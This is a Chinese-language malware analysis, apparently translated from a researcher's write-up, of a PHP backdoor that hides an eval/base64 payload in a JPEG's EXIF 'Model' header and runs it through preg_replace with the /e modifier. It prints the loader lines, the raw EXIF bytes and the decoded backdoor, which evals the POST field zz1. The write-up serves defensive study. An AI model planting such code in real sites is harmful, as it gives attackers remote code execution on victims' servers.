Peter Gramantik在一个被感染的网站发现了一个非常有趣的后门。这个后门不是按照常规的方式隐藏其内容(不如base64/gzip编码),而是把数据保存在JPEG图片的EXIF头里。它(后门代码)也是在用户使用PHP函数exif_read_data 和 preg_replace 时读取头部数据并被执行的。



技术细节

exif_read_data函数读取文件头信息和preg_replace函数执行读取的内容这两者的结合。我们在被感染的网站发现如下信息:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


上面两个函数本身都没有什么危害。

Exif_read_data 函数通常用于读取图片信息,preg_replace函数用于替换读取到的字符窜内容。然而,preg_replace 函数当你传递“/e” 修正法时有一个隐藏的复杂的选则来把内容按php代码解析处理,而不是简单的搜索/替换。

 我们在检查bun.jpg文件时,发现了后门的第二部分:


ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

文件内容按理说开始应该是通常的头部信息,但是在这个“伪造”的头部包含一个奇怪的关键字

"/.*/e".这正是让preg_replace函数安装php代码解析传给他的任何内容的修正符。

现在情况比较有意思了。。。。。。

"eval( base64_decode"隐藏在这个"Model"头。当把这些都放到一起,就可以看到将会发生什么。攻击者从EXIF读取"Make"和“Model"头并把读取的内容用于preg_replace。一旦我们修改了文件中的$exif['Make'] 和 $exif['Model'],就得到了最终的后门


preg_replace ("/.*/e", ,"@ eval( base64_decode("aWYgKGl ...");


正好被执行。完整的解码后门如下


if (isset( $_POST["zz1"])) { eval(stripslashes( $_POST["zz1"]..


隐匿的的恶意代码


在这些被感染的网站,攻击者只是修改了一个合法的,预先存在的图片。这是采用一种非常奇妙的隐匿术来隐藏恶意代码。


注意:使用服务器端扫描可以保证客户端的安全从而阻止这类的注入(经我们检测)。